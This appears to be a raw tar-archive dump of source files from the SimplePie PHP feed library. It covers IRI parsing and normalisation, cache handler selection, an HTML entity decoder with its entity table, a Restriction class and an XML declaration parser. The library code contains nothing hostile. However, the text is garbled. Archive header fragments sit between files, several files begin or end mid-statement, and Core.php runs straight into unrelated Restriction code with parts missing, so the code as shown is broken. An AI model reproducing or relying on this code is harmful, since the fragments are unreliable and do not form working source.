($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; $j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { if ($this->ipath === '') { return true; } $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($isauthority && $this->ipath[0] === '/') { return true; } if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) { return false; } // Relative urls cannot have a colon in the first path segment (and the // slashes themselves are not included so skip the first character). if (!$this->scheme && !$isauthority && strpos($this->ipath, ':') !== false && strpos($this->ipath, '/', 1) !== false && strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) { return false; } return true; } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ public function set_iri($iri, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = []; } if ($iri === null) { return true; } elseif (isset($cache[$iri])) { [ $this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return ] = $cache[$iri]; return $return; } $parsed = $this->parse_iri((string) $iri); if (!$parsed) { return false; } $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = [ $this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return ]; return $return; } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ public function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ public function set_authority($authority, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = []; } if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } elseif (isset($cache[$authority])) { [ $this->iuserinfo, $this->ihost, $this->port, $return ] = $cache[$authority]; return $return; } $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', intval(strpos($remaining, ']')))) !== false) { if (($port = substr($remaining, $port_start + 1)) === false) { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = [ $this->iuserinfo, $this->ihost, $this->port, $return ]; return $return; } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ public function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ public function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (\SimplePie\Net\IPv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . \SimplePie\Net\IPv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ public function set_port($port) { if ($port === null) { $this->port = null; return true; } elseif (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } $this->port = null; return false; } /** * Set the ipath. * * @param string $ipath * @return bool */ public function set_path($ipath, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = []; } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = [$valid, $removed]; $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ public function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ public function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @return string */ public function to_uri($string) { static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($string); while (($position += strcspn($string, $non_ascii, $position)) < $strlen) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1); $position += 3; $strlen += 2; } return $string; } /** * Get the complete IRI * * @return string */ public function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } if ($this->ipath !== '') { $iri .= $this->ipath; } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') { $iri .= $this->normalization[$this->scheme]['ipath']; } if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ public function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string */ protected function get_iauthority() { if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) { $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null && $this->port !== 0) { $iauthority .= ':' . $this->port; } return $iauthority; } return null; } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) { return $this->to_uri($iauthority); } return $iauthority; } } class_alias('SimplePie\IRI', 'SimplePie_IRI'); SimplePie/src/Cache.php000064400000011363147177035020010750 0ustar00 'SimplePie\Cache\MySQL', 'memcache' => 'SimplePie\Cache\Memcache', 'memcached' => 'SimplePie\Cache\Memcached', 'redis' => 'SimplePie\Cache\Redis' ]; /** * Don't call the constructor. Please. */ private function __construct() { } /** * Create a new SimplePie\Cache object * * @param string $location URL location (scheme is used to determine handler) * @param string $filename Unique identifier for cache object * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc' * @return Base Type of object depends on scheme of `$location` */ public static function get_handler($location, $filename, $extension) { $type = explode(':', $location, 2); $type = $type[0]; if (!empty(self::$handlers[$type])) { $class = self::$handlers[$type]; return new $class($location, $filename, $extension); } return new \SimplePie\Cache\File($location, $filename, $extension); } /** * Create a new SimplePie\Cache object * * @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead */ public function create($location, $filename, $extension) { trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED); return self::get_handler($location, $filename, $extension); } /** * Register a handler * * @param string $type DSN type to register for * @param class-string $class Name of handler class. Must implement Base */ public static function register($type, $class) { self::$handlers[$type] = $class; } /** * Parse a URL into an array * * @param string $url * @return array */ public static function parse_URL($url) { $params = parse_url($url); $params['extras'] = []; if (isset($params['query'])) { parse_str($params['query'], $params['extras']); } return $params; } } class_alias('SimplePie\Cache', 'SimplePie_Cache'); SimplePie/src/Decode/HTML/Entities.php000064400000041531147177035020013460 0ustar00data = $data; } /** * Parse the input data * * @access public * @return string Output data */ public function parse() { while (($this->position = strpos($this->data, '&', $this->position)) !== false) { $this->consume(); $this->entity(); $this->consumed = ''; } return $this->data; } /** * Consume the next byte * * @access private * @return mixed The next byte, or false, if there is no more data */ public function consume() { if (isset($this->data[$this->position])) { $this->consumed .= $this->data[$this->position]; return $this->data[$this->position++]; } return false; } /** * Consume a range of characters * * @access private * @param string $chars Characters to consume * @return mixed A series of characters that match the range, or false */ public function consume_range($chars) { if ($len = strspn($this->data, $chars, $this->position)) { $data = substr($this->data, $this->position, $len); $this->consumed .= $data; $this->position += $len; return $data; } return false; } /** * Unconsume one byte * * @access private */ public function unconsume() { $this->consumed = substr($this->consumed, 0, -1); $this->position--; } /** * Decode an entity * * @access private */ public function entity() { switch ($this->consume()) { case "\x09": case "\x0A": case "\x0B": case "\x0C": case "\x20": case "\x3C": case "\x26": case false: break; case "\x23": switch ($this->consume()) { case "\x78": case "\x58": $range = '0123456789ABCDEFabcdef'; $hex = true; break; default: $range = '0123456789'; $hex = false; $this->unconsume(); break; } if ($codepoint = $this->consume_range($range)) { static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"); if ($hex) { $codepoint = hexdec($codepoint); } else { $codepoint = intval($codepoint); } if (isset($windows_1252_specials[$codepoint])) { $replacement = $windows_1252_specials[$codepoint]; } else { $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint); } if (!in_array($this->consume(), array(';', false), true)) { $this->unconsume(); } $consumed_length = strlen($this->consumed); $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length); $this->position += strlen($replacement) - $consumed_length; } break; default: static $entities = array( 'Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => "\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C" ); for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) { $consumed = substr($this->consumed, 1); if (isset($entities[$consumed])) { $match = $consumed; } } if ($match !== null) { $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1); $this->position += strlen($entities[$match]) - strlen($consumed) - 1; } break; } } } SimplePie/src/Core.php000064400000004273147177035020010637 0ustar00` as defined in Media RSS * * Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()} * * @package SimplePie * @subpackage API */ class Restriction { /** * Relationship ('allow'/'deny') * * @var string * @see get_relationship() */ public $relationship; /** * Type of restriction * * @var string * @see get_type() */ public $type; /** * Restricted values * * @var string * @see get_value() */ public $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($relationship = null, $type = null, $value = null) { $this->relationship = $relationship; $this->type = $type; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the relationship * * @return string|null Either 'allow' or 'deny' */ public function get_relationship() { if ($this->relationship !== null) { return $this->relationship; } return null; } /** * Get the type * * @return string|null */ public function get_type() { if ($this->type !== null) { return $this->type; } return null; } /** * Get the list of restricted things * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } return null; } } class_alias('SimplePie\Restriction', 'SimplePie_Restriction'); SimplePie/src/XML/Declaration/Parser.php000064400000022353147177035020014067 0ustar00data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @access public * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === self::STATE_EMIT) { return true; } $this->version = ''; $this->encoding = ''; $this->standalone = ''; return false; } /** * Check whether there is data beyond the pointer * * @access private * @return bool true if there is further data, false if not */ public function has_data() { return (bool) ($this->position < $this->data_length); } /** * Advance past any whitespace * * @return int Number of whitespace characters passed */ public function skip_whitespace() { $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position); $this->position += $whitespace; return $whitespace; } /** * Read value */ public function get_value() { $quote = substr($this->data, $this->position, 1); if ($quote === '"' || $quote === "'") { $this->position++; $len = strcspn($this->data, $quote, $this->position); if ($this->has_data()) { $value = substr($this->data, $this->position, $len); $this->position += $len + 1; return $value; } } return false; } public function before_version_name() { if ($this->skip_whitespace()) { $this->state = self::STATE_VERSION_NAME; } else { $this->state = self::STATE_ERROR; } } public function version_name() { if (substr($this->data, $this->position, 7) === 'version') { $this->position += 7; $this->skip_whitespace(); $this->state = self::STATE_VERSION_EQUALS; } else { $this->state = self::STATE_ERROR; } } public function version_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = self::STATE_VERSION_VALUE; } else { $this->state = self::STATE_ERROR; } } public function version_value() { if ($this->version = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = self::STATE_ENCODING_NAME; } else { $this->state = self::STATE_EMIT; } } else { $this->state = self::STATE_ERROR; } } public function encoding_name() { if (substr($this->data, $this->position, 8) === 'encoding') { $this->position += 8; $this->skip_whitespace(); $this->state = self::STATE_ENCODING_EQUALS; } else { $this->state = self::STATE_STANDALONE_NAME; } } public function encoding_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = self::STATE_ENCODING_VALUE; 